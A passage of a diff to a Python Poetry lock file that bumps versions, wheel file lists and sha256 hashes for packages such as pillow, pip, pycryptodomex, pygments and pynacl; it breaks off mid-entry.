"pillow-12.1.1-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6408a7b064595afcab0a49393a413732a35788f2a5092fdc6266952ed67de586"}, + {file = "pillow-12.1.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5d8c41325b382c07799a3682c1c258469ea2ff97103c53717b7893862d0c98ce"}, + {file = "pillow-12.1.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:c7697918b5be27424e9ce568193efd13d925c4481dd364e43f5dff72d33e10f8"}, + {file = "pillow-12.1.1-cp314-cp314t-win32.whl", hash = "sha256:d2912fd8114fc5545aa3a4b5576512f64c55a03f3ebcca4c10194d593d43ea36"}, + {file = "pillow-12.1.1-cp314-cp314t-win_amd64.whl", hash = "sha256:4ceb838d4bd9dab43e06c363cab2eebf63846d6a4aeaea283bbdfd8f1a8ed58b"}, + {file = "pillow-12.1.1-cp314-cp314t-win_arm64.whl", hash = "sha256:7b03048319bfc6170e93bd60728a1af51d3dd7704935feb228c4d4faab35d334"}, + {file = "pillow-12.1.1-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:600fd103672b925fe62ed08e0d874ea34d692474df6f4bf7ebe148b30f89f39f"}, + {file = "pillow-12.1.1-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:665e1b916b043cef294bc54d47bf02d87e13f769bc4bc5fa225a24b3a6c5aca9"}, + {file = "pillow-12.1.1-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:495c302af3aad1ca67420ddd5c7bd480c8867ad173528767d906428057a11f0e"}, + {file = "pillow-12.1.1-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8fd420ef0c52c88b5a035a0886f367748c72147b2b8f384c9d12656678dfdfa9"}, + {file = "pillow-12.1.1-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f975aa7ef9684ce7e2c18a3aa8f8e2106ce1e46b94ab713d156b2898811651d3"}, + {file = "pillow-12.1.1-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8089c852a56c2966cf18835db62d9b34fef7ba74c726ad943928d494fa7f4735"}, + {file = "pillow-12.1.1-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:cb9bb857b2d057c6dfc72ac5f3b44836924ba15721882ef103cecb40d002d80e"}, + {file = "pillow-12.1.1.tar.gz", hash = "sha256:9ad8fa5937ab05218e2b6a4cff30295ad35afd2f83ac592e68c0d871bb0fdbc4"}, ] [package.extras] -docs = ["furo", "olefile", "sphinx (>=8.1)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinxext-opengraph"] +docs = ["furo", "olefile", "sphinx (>=8.2)", "sphinx-autobuild", "sphinx-copybutton", "sphinx-inline-tabs", "sphinxext-opengraph"] fpx = ["olefile"] mic = ["olefile"] -tests = ["check-manifest", "coverage (>=7.4.2)", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout", "trove-classifiers (>=2024.10.12)"] -typing = ["typing-extensions ; python_version < \"3.10\""] +test-arrow = ["arro3-compute", "arro3-core", "nanoarrow", "pyarrow"] +tests = ["check-manifest", "coverage (>=7.4.2)", "defusedxml", "markdown2", "olefile", "packaging", "pyroma (>=5)", "pytest", "pytest-cov", "pytest-timeout", "pytest-xdist", "trove-classifiers (>=2024.10.12)"] xmp = ["defusedxml"] [[package]] name = "pip" -version = "25.0.1" +version = "26.0.1" description = "The PyPA recommended tool for installing Python packages." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["dev"] files = [ - {file = "pip-25.0.1-py3-none-any.whl", hash = "sha256:c46efd13b6aa8279f33f2864459c8ce587ea6a1a59ee20de055868d8f7688f7f"}, - {file = "pip-25.0.1.tar.gz", hash = "sha256:88f96547ea48b940a3a385494e181e29fb8637898f88d88737c5049780f196ea"}, + {file = "pip-26.0.1-py3-none-any.whl", hash = "sha256:bdb1b08f4274833d62c1aa29e20907365a2ceb950410df15fc9521bad440122b"}, + {file = "pip-26.0.1.tar.gz", hash = "sha256:c4037d8a277c89b320abe636d59f91e6d0922d08a05b60e85e53b296613346d8"}, ] [[package]] name = "pluggy" -version = "1.5.0" +version = "1.6.0" description = "plugin and hook calling mechanisms for python" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["dev"] files = [ - {file = "pluggy-1.5.0-py3-none-any.whl", hash = "sha256:44e1ad92c8ca002de6377e165f3e0f1be63266ab4d554740532335b9d75ea669"}, - {file = "pluggy-1.5.0.tar.gz", hash = "sha256:2cffa88e94fdc978c4c574f15f9e59b7f4201d439195c3715ca9e2486f1d0cf1"}, + {file = "pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746"}, + {file = "pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3"}, ] [package.extras] dev = ["pre-commit", "tox"] -testing = ["pytest", "pytest-benchmark"] +testing = ["coverage", "pytest", "pytest-benchmark"] [[package]] name = "prompt-toolkit" -version = "3.0.50" +version = "3.0.52" description = "Library for building powerful interactive command lines in Python" optional = false -python-versions = ">=3.8.0" +python-versions = ">=3.8" groups = ["main"] files = [ - {file = "prompt_toolkit-3.0.50-py3-none-any.whl", hash = "sha256:9b6427eb19e479d98acff65196a307c555eb567989e6d88ebbb1b509d9779198"}, - {file = "prompt_toolkit-3.0.50.tar.gz", hash = "sha256:544748f3860a2623ca5cd6d2795e7a14f3d0e1c3c9728359013f79877fc89bab"}, + {file = "prompt_toolkit-3.0.52-py3-none-any.whl", hash = "sha256:9aac639a3bbd33284347de5ad8d68ecc044b91a762dc39b7c21095fcd6a19955"}, + {file = "prompt_toolkit-3.0.52.tar.gz", hash = "sha256:28cde192929c8e7321de85de1ddbe736f1375148b02f2e17edd840042b1be855"}, ] [package.dependencies] @@ -1709,53 +1870,54 @@ wcwidth = "*" [[package]] name = "pyasn1" -version = "0.6.1" +version = "0.6.3" description = "Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)" optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "pyasn1-0.6.1-py3-none-any.whl", hash = "sha256:0d632f46f2ba09143da3a8afe9e33fb6f92fa2320ab7e886e2d0f7672af84629"}, - {file = "pyasn1-0.6.1.tar.gz", hash = "sha256:6f580d2bdd84365380830acf45550f2511469f673cb4a5ae3857a3170128b034"}, + {file = "pyasn1-0.6.3-py3-none-any.whl", hash = "sha256:a80184d120f0864a52a073acc6fc642847d0be408e7c7252f31390c0f4eadcde"}, + {file = "pyasn1-0.6.3.tar.gz", hash = "sha256:697a8ecd6d98891189184ca1fa05d1bb00e2f84b5977c481452050549c8a72cf"}, ] [[package]] name = "pyasn1-modules" -version = "0.4.1" +version = "0.4.2" description = "A collection of ASN.1-based protocols modules" optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "pyasn1_modules-0.4.1-py3-none-any.whl", hash = "sha256:49bfa96b45a292b711e986f222502c1c9a5e1f4e568fc30e2574a6c7d07838fd"}, - {file = "pyasn1_modules-0.4.1.tar.gz", hash = "sha256:c28e2dbf9c06ad61c71a075c7e0f9fd0f1b0bb2d2ad4377f240d33ac2ab60a7c"}, + {file = "pyasn1_modules-0.4.2-py3-none-any.whl", hash = "sha256:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a"}, + {file = "pyasn1_modules-0.4.2.tar.gz", hash = "sha256:677091de870a80aae844b1ca6134f54652fa2c8c5a52aa396440ac3106e941e6"}, ] [package.dependencies] -pyasn1 = ">=0.4.6,<0.7.0" +pyasn1 = ">=0.6.1,<0.7.0" [[package]] name = "pycodestyle" -version = "2.12.1" +version = "2.14.0" description = "Python style guide checker" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["dev"] files = [ - {file = "pycodestyle-2.12.1-py2.py3-none-any.whl", hash = "sha256:46f0fb92069a7c28ab7bb558f05bfc0110dac69a0cd23c61ea0040283a9d78b3"}, - {file = "pycodestyle-2.12.1.tar.gz", hash = "sha256:6838eae08bbce4f6accd5d5572075c63626a15ee3e6f842df996bf62f6d73521"}, + {file = "pycodestyle-2.14.0-py2.py3-none-any.whl", hash = "sha256:dd6bf7cb4ee77f8e016f9c8e74a35ddd9f67e1d5fd4184d86c3b98e07099f42d"}, + {file = "pycodestyle-2.14.0.tar.gz", hash = "sha256:c4b5b517d278089ff9d0abdec919cd97262a3367449ea1c8b49b91529167b783"}, ] [[package]] name = "pycparser" -version = "2.22" +version = "3.0" description = "C parser in Python" optional = false -python-versions = ">=3.8" +python-versions = ">=3.10" groups = ["main"] +markers = "platform_python_implementation != \"PyPy\" and implementation_name != \"PyPy\"" files = [ - {file = "pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc"}, - {file = "pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6"}, + {file = "pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992"}, + {file = "pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29"}, ] [[package]] @@ -1799,68 +1961,77 @@ files = [ [[package]] name = "pycryptodomex" -version = "3.21.0" +version = "3.23.0" description = "Cryptographic library for Python" optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" -groups = ["main"] -files = [ - {file = "pycryptodomex-3.21.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:dbeb84a399373df84a69e0919c1d733b89e049752426041deeb30d68e9867822"}, - {file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:a192fb46c95489beba9c3f002ed7d93979423d1b2a53eab8771dbb1339eb3ddd"}, - {file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:1233443f19d278c72c4daae749872a4af3787a813e05c3561c73ab0c153c7b0f"}, - {file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bbb07f88e277162b8bfca7134b34f18b400d84eac7375ce73117f865e3c80d4c"}, - {file = "pycryptodomex-3.21.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:e859e53d983b7fe18cb8f1b0e29d991a5c93be2c8dd25db7db1fe3bd3617f6f9"}, - {file = "pycryptodomex-3.21.0-cp27-cp27m-win32.whl", hash = "sha256:ef046b2e6c425647971b51424f0f88d8a2e0a2a63d3531817968c42078895c00"}, - {file = "pycryptodomex-3.21.0-cp27-cp27m-win_amd64.whl", hash = "sha256:da76ebf6650323eae7236b54b1b1f0e57c16483be6e3c1ebf901d4ada47563b6"}, - {file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:c07e64867a54f7e93186a55bec08a18b7302e7bee1b02fd84c6089ec215e723a"}, - {file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:56435c7124dd0ce0c8bdd99c52e5d183a0ca7fdcd06c5d5509423843f487dd0b"}, - {file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:65d275e3f866cf6fe891411be9c1454fb58809ccc5de6d3770654c47197acd65"}, - {file = "pycryptodomex-3.21.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:5241bdb53bcf32a9568770a6584774b1b8109342bd033398e4ff2da052123832"}, - {file = "pycryptodomex-3.21.0-cp36-abi3-macosx_10_9_universal2.whl", hash = "sha256:34325b84c8b380675fd2320d0649cdcbc9cf1e0d1526edbe8fce43ed858cdc7e"}, - {file = "pycryptodomex-3.21.0-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:103c133d6cd832ae7266feb0a65b69e3a5e4dbbd6f3a3ae3211a557fd653f516"}, - {file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77ac2ea80bcb4b4e1c6a596734c775a1615d23e31794967416afc14852a639d3"}, - {file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9aa0cf13a1a1128b3e964dc667e5fe5c6235f7d7cfb0277213f0e2a783837cc2"}, - {file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:46eb1f0c8d309da63a2064c28de54e5e614ad17b7e2f88df0faef58ce192fc7b"}, - {file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:cc7e111e66c274b0df5f4efa679eb31e23c7545d702333dfd2df10ab02c2a2ce"}, - {file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_2_i686.whl", hash = "sha256:770d630a5c46605ec83393feaa73a9635a60e55b112e1fb0c3cea84c2897aa0a"}, - {file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:52e23a0a6e61691134aa8c8beba89de420602541afaae70f66e16060fdcd677e"}, - {file = "pycryptodomex-3.21.0-cp36-abi3-win32.whl", hash = "sha256:a3d77919e6ff56d89aada1bd009b727b874d464cb0e2e3f00a49f7d2e709d76e"}, - {file = "pycryptodomex-3.21.0-cp36-abi3-win_amd64.whl", hash = "sha256:b0e9765f93fe4890f39875e6c90c96cb341767833cfa767f41b490b506fa9ec0"}, - {file = "pycryptodomex-3.21.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:feaecdce4e5c0045e7a287de0c4351284391fe170729aa9182f6bd967631b3a8"}, - {file = "pycryptodomex-3.21.0-pp27-pypy_73-win32.whl", hash = "sha256:365aa5a66d52fd1f9e0530ea97f392c48c409c2f01ff8b9a39c73ed6f527d36c"}, - {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:3efddfc50ac0ca143364042324046800c126a1d63816d532f2e19e6f2d8c0c31"}, - {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0df2608682db8279a9ebbaf05a72f62a321433522ed0e499bc486a6889b96bf3"}, - {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5823d03e904ea3e53aebd6799d6b8ec63b7675b5d2f4a4bd5e3adcb512d03b37"}, - {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:27e84eeff24250ffec32722334749ac2a57a5fd60332cd6a0680090e7c42877e"}, - {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:8ef436cdeea794015263853311f84c1ff0341b98fc7908e8a70595a68cefd971"}, - {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a1058e6dfe827f4209c5cae466e67610bcd0d66f2f037465daa2a29d92d952b"}, - {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9ba09a5b407cbb3bcb325221e346a140605714b5e880741dc9a1e9ecf1688d42"}, - {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:8a9d8342cf22b74a746e3c6c9453cb0cfbb55943410e3a2619bd9164b48dc9d9"}, - {file = "pycryptodomex-3.21.0.tar.gz", hash = "sha256:222d0bd05381dd25c32dd6065c071ebf084212ab79bab4599ba9e6a3e0009e6c"}, +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +groups = ["main"] +files = [ + {file = "pycryptodomex-3.23.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:add243d204e125f189819db65eed55e6b4713f70a7e9576c043178656529cec7"}, + {file = "pycryptodomex-3.23.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:1c6d919fc8429e5cb228ba8c0d4d03d202a560b421c14867a65f6042990adc8e"}, + {file = "pycryptodomex-3.23.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:1c3a65ad441746b250d781910d26b7ed0a396733c6f2dbc3327bd7051ec8a541"}, + {file = "pycryptodomex-3.23.0-cp27-cp27m-win32.whl", hash = "sha256:47f6d318fe864d02d5e59a20a18834819596c4ed1d3c917801b22b92b3ffa648"}, + {file = "pycryptodomex-3.23.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:d9825410197a97685d6a1fa2a86196430b01877d64458a20e95d4fd00d739a08"}, + {file = "pycryptodomex-3.23.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:267a3038f87a8565bd834317dbf053a02055915acf353bf42ededb9edaf72010"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:7b37e08e3871efe2187bc1fd9320cc81d87caf19816c648f24443483005ff886"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:91979028227543010d7b2ba2471cf1d1e398b3f183cb105ac584df0c36dac28d"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6b8962204c47464d5c1c4038abeadd4514a133b28748bcd9fa5b6d62e3cec6fa"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a33986a0066860f7fcf7c7bd2bc804fa90e434183645595ae7b33d01f3c91ed8"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7947ab8d589e3178da3d7cdeabe14f841b391e17046954f2fbcd941705762b5"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:c25e30a20e1b426e1f0fa00131c516f16e474204eee1139d1603e132acffc314"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:da4fa650cef02db88c2b98acc5434461e027dce0ae8c22dd5a69013eaf510006"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:58b851b9effd0d072d4ca2e4542bf2a4abcf13c82a29fd2c93ce27ee2a2e9462"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-win32.whl", hash = "sha256:a9d446e844f08299236780f2efa9898c818fe7e02f17263866b8550c7d5fb328"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-win_amd64.whl", hash = "sha256:bc65bdd9fc8de7a35a74cab1c898cab391a4add33a8fe740bda00f5976ca4708"}, + {file = "pycryptodomex-3.23.0-cp313-cp313t-win_arm64.whl", hash = "sha256:c885da45e70139464f082018ac527fdaad26f1657a99ee13eecdce0f0ca24ab4"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:06698f957fe1ab229a99ba2defeeae1c09af185baa909a31a5d1f9d42b1aaed6"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-macosx_10_9_x86_64.whl", hash = "sha256:b2c2537863eccef2d41061e82a881dcabb04944c5c06c5aa7110b577cc487545"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:43c446e2ba8df8889e0e16f02211c25b4934898384c1ec1ec04d7889c0333587"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f489c4765093fb60e2edafdf223397bc716491b2b69fe74367b70d6999257a5c"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bdc69d0d3d989a1029df0eed67cc5e8e5d968f3724f4519bd03e0ec68df7543c"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:6bbcb1dd0f646484939e142462d9e532482bc74475cecf9c4903d4e1cd21f003"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-musllinux_1_2_i686.whl", hash = "sha256:8a4fcd42ccb04c31268d1efeecfccfd1249612b4de6374205376b8f280321744"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:55ccbe27f049743a4caf4f4221b166560d3438d0b1e5ab929e07ae1702a4d6fd"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-win32.whl", hash = "sha256:189afbc87f0b9f158386bf051f720e20fa6145975f1e76369303d0f31d1a8d7c"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:52e5ca58c3a0b0bd5e100a9fbc8015059b05cffc6c66ce9d98b4b45e023443b9"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:02d87b80778c171445d67e23d1caef279bf4b25c3597050ccd2e13970b57fd51"}, + {file = "pycryptodomex-3.23.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:febec69c0291efd056c65691b6d9a339f8b4bc43c6635b8699471248fe897fea"}, + {file = "pycryptodomex-3.23.0-pp27-pypy_73-win32.whl", hash = "sha256:c84b239a1f4ec62e9c789aafe0543f0594f0acd90c8d9e15bcece3efe55eca66"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ebfff755c360d674306e5891c564a274a47953562b42fb74a5c25b8fc1fb1cb5"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eca54f4bb349d45afc17e3011ed4264ef1cc9e266699874cdd1349c504e64798"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2596e643d4365e14d0879dc5aafe6355616c61c2176009270f3048f6d9a61f"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fdfac7cda115bca3a5abb2f9e43bc2fb66c2b65ab074913643803ca7083a79ea"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:14c37aaece158d0ace436f76a7bb19093db3b4deade9797abfc39ec6cd6cc2fe"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7de1e40a41a5d7f1ac42b6569b10bcdded34339950945948529067d8426d2785"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bffc92138d75664b6d543984db7893a628559b9e78658563b0395e2a5fb47ed9"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:df027262368334552db2c0ce39706b3fb32022d1dce34673d0f9422df004b96a"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4e79f1aaff5a3a374e92eb462fa9e598585452135012e2945f96874ca6eeb1ff"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:27e13c80ac9a0a1d050ef0a7e0a18cc04c8850101ec891815b6c5a0375e8a245"}, + {file = "pycryptodomex-3.23.0.tar.gz", hash = "sha256:71909758f010c82bc99b0abf4ea12012c98962fbf0583c2164f8b84533c2e4da"}, ] [[package]] name = "pyflakes" -version = "3.2.0" +version = "3.4.0" description = "passive checker of Python programs" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["dev"] files = [ - {file = "pyflakes-3.2.0-py2.py3-none-any.whl", hash = "sha256:84b5be138a2dfbb40689ca07e2152deb896a65c3a3e24c251c5c62489568074a"}, - {file = "pyflakes-3.2.0.tar.gz", hash = "sha256:1c61603ff154621fb2a9172037d84dca3500def8c8b630657d1701f026f8af3f"}, + {file = "pyflakes-3.4.0-py2.py3-none-any.whl", hash = "sha256:f742a7dbd0d9cb9ea41e9a24a918996e8170c799fa528688d40dd582c8265f4f"}, + {file = "pyflakes-3.4.0.tar.gz", hash = "sha256:b24f96fafb7d2ab0ec5075b7350b3d2d2218eab42003821c06344973d3ea2f58"}, ] [[package]] name = "pygments" -version = "2.19.1" +version = "2.19.2" description = "Pygments is a syntax highlighting package written in Python." optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "pygments-2.19.1-py3-none-any.whl", hash = "sha256:9ea1544ad55cecf4b8242fab6dd35a93bbce657034b0611ee383099054ab6d8c"}, - {file = "pygments-2.19.1.tar.gz", hash = "sha256:61c16d2a8576dc0649d9f39e089b5f02bcd27fba10d8fb4dcc28173f7a45151f"}, + {file = "pygments-2.19.2-py3-none-any.whl", hash = "sha256:86540386c03d588bb81d44bc3928634ff26449851e99741617ecb9037ee5ec0b"}, + {file = "pygments-2.19.2.tar.gz", hash = "sha256:636cb2477cec7f8952536970bc533bc43743542f70392ae026374600add5b887"}, ] [package.extras] @@ -1880,30 +2051,45 @@ files = [ [[package]] name = "pynacl" -version = "1.5.0" +version = "1.6.2" description = "Python binding to the Networking and Cryptography (NaCl) library" optional = false -python-versions = ">=3.6" +python-versions = ">=3.8" groups = ["main"] files = [ - {file = "PyNaCl-1.5.0-cp36-abi3-macosx_10_10_universal2.whl", hash = "sha256:401002a4aaa07c9414132aaed7f6836ff98f59277a234704ff66878c2ee4a0d1"}, - {file = "PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:52cb72a79269189d4e0dc537556f4740f7f0a9ec41c1322598799b0bdad4ef92"}, - {file = "PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a36d4a9dda1f19ce6e03c9a784a2921a4b726b02e1c736600ca9c22029474394"}, - {file = "PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:0c84947a22519e013607c9be43706dd42513f9e6ae5d39d3613ca1e142fba44d"}, - {file = "PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:06b8f6fa7f5de8d5d2f7573fe8c863c051225a27b61e6860fd047b1775807858"}, - {file = "PyNaCl-1.5.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:a422368fc821589c228f4c49438a368831cb5bbc0eab5ebe1d7fac9dded6567b"}, - {file = "PyNaCl-1.5.0-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:61f642bf2378713e2c2e1de73444a3778e5f0a38be6fee0fe532fe30060282ff"}, - {file = "PyNaCl-1.5.0-cp36-abi3-win32.whl", hash = "sha256:e46dae94e34b085175f8abb3b0aaa7da40767865ac82c928eeb9e57e1ea8a543"}, - {file = "PyNaCl-1.5.0-cp36-abi3-win_amd64.whl", hash = "sha256:20f42270d27e1b6a29f54032090b972d97f0a1b0948cc52392041ef7831fee93"}, - {file = "PyNaCl-1.5.0.tar.gz", hash = "sha256:8ac7448f09ab85811607bdd21ec2464495ac8b7c66d146bf545b0f08fb9220ba"}, + {file = "pynacl-1.6.2-cp314-cp314t-macosx_10_10_universal2.whl", hash = "sha256:622d7b07cc5c02c666795792931b50c91f3ce3c2649762efb1ef0d5684c81594"}, + {file = "pynacl-1.6.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d071c6a9a4c94d79eb665db4ce5cedc537faf74f2355e4d502591d850d3913c0"}, + {file = "pynacl-1.6.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fe9847ca47d287af41e82be1dd5e23023d3c31a951da134121ab02e42ac218c9"}, + {file = "pynacl-1.6.2-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:04316d1fc625d860b6c162fff704eb8426b1a8bcd3abacea11142cbd99a6b574"}, + {file = "pynacl-1.6.2-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:44081faff368d6c5553ccf55322ef2819abb40e25afaec7e740f159f74813634"}, + {file = "pynacl-1.6.2-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:a9f9932d8d2811ce1a8ffa79dcbdf3970e7355b5c8eb0c1a881a57e7f7d96e88"}, + {file = "pynacl-1.6.2-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:bc4a36b28dd72fb4845e5d8f9760610588a96d5a51f01d84d8c6ff9849968c14"}, + {file = 